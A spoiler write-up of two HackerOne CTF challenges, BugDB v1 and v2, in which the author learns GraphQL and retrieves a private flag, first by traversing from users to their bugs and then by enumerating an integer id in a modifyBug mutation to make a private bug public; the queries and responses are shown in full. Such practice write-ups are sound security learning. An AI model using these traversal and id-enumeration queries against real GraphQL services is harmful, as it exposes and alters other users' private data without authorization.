HackerOne CTF BugDB (Spoilers)
BugDB v1
I've never used GraphQL before, but that's the beauty of hacking: I get to learn so much along the way, and enjoy every minute of it. This challenge dumps me into a web application where I can query the database using GraphQL:
There is a docs panel that expands, helpfully providing a bunch of background on the structure of the graph objects and functions. It looks like there's a findUser function which could be a good place to start:
query {
findUser(username: "admin") {
id
}
}
{
"data": {
"findUser": {
"id": "VXNlcnM6MQ=="
}
}
}
Expanding this query, I can find the bugs reported by the user "admin". There's just one, unless private bugs are being filtered.
{
findUser(username: "admin") {
id,
username,
bugs {
edges {
node {
id,
reporterId,
text,
private,
reporter {
id, username
}
}
}
}
}
}
{
"data": {
"findUser": {
"id": "VXNlcnM6MQ==",
"username": "admin",
"bugs": {
"edges": [
{
"node": {
"id": "QnVnc186MQ==",
"reporterId": 1,
"text": "This is an example bug",
"private": false,
"reporter": {
"id": "VXNlcnM6MQ==",
"username": "admin"
}
}
}
]
}
}
}
}
I'm starting to get the hang of GraphQL. For a Node type like a User, there are often edges linking to another node type like Bugs. In the query, I can just ask for all the edges, nest the node type in that block, and then specify which node attributes I'd like.
For example, an allUsers query will return the user edges, which can be expanded into a list of nodes with the User type. Users contain a list of edges to their bugs, which are nodes of the Bug type. I can just ask for all users and their bugs with this query:
{
allUsers(after: "0") {
edges {
node {
id,
username,
bugs {
edges {
node {
id,
text,
private
}
}
}
}
}
}
}
{
"data": {
"allUsers": {
"edges": [
{
"node": {
"id": "VXNlcnM6MQ==",
"username": "admin",
"bugs": {
"edges": [
{
"node": {
"id": "QnVnc186MQ==",
"text": "This is an example bug",
"private": false
}
}
]
}
}
},
{
"node": {
"id": "VXNlcnM6Mg==",
"username": "victim",
"bugs": {
"edges": [
{
"node": {
"id": "QnVnc186Mg==",
"text": "^FLAG^***$FLAG$",
"private": true
}
}
]
}
}
}
]
}
}
}
There's definitely another user, presciently named "victim", and I've just captured their flag.
BugDB v2
The same GraphiQL interface is provided, but this time there appears to be access control implemented to prevent information leaking via query traversal to related nodes:
{
allUsers(after: "0") {
edges {
node {
id,
username,
bugs {
edges {
node {
id,
text,
private
}
}
}
}
}
}
}
{
"errors": [
{
"message": "Cannot query field \"bugs\" on type \"Users\".",
"locations": [
{
"line": 7,
"column": 9
}
]
}
]
}
There's an allBugs query that returns a list, but the victim's bug is not included. Just like in BugDB v1, the victim's bug is likely private:
{
allBugs {
id,
text,
private
}
}
{
"data": {
"allBugs": [
{
"id": "QnVnczox",
"text": "This is an example bug",
"private": false
}
]
}
}
This time a modifyBug mutation operation has been provided. Chances are they haven't updated any of the ids, right? And what are the chances they implemented proper access control on this new feature?
modifyBug(
id: Int
private: Boolean
text: String
): modifyBug
Strangely, the id needs to be an integer, meaning QnVnc186Mg==
from before is not going to work. But integers often imply enumerability, and chances are that the ids for the two bugs from before are now 1 and 2, right?
mutation {
modifyBug(id: 2, private: false) {
ok
}
}
{
"data": {
"modifyBug": {
"ok": true
}
}
}
That worked, and now the allBugs query returns both bugs:
{
allBugs {
id,
text,
private
}
}
{
"data": {
"allBugs": [
{
"id": "QnVnczox",
"text": "This is an example bug",
"private": false
},
{
"id": "QnVnczoy",
"text": "^FLAG^***$FLAG$",
"private": false
}
]
}
}
GraphQL is pretty cool, and it appears to be ripe for exploitation if access is not carefully managed in all the right ways. Between traversal and mutation, I already know two ways to gain access to things I shouldn't have. I hope for more opportunities to exploit GraphQL bugs in the future!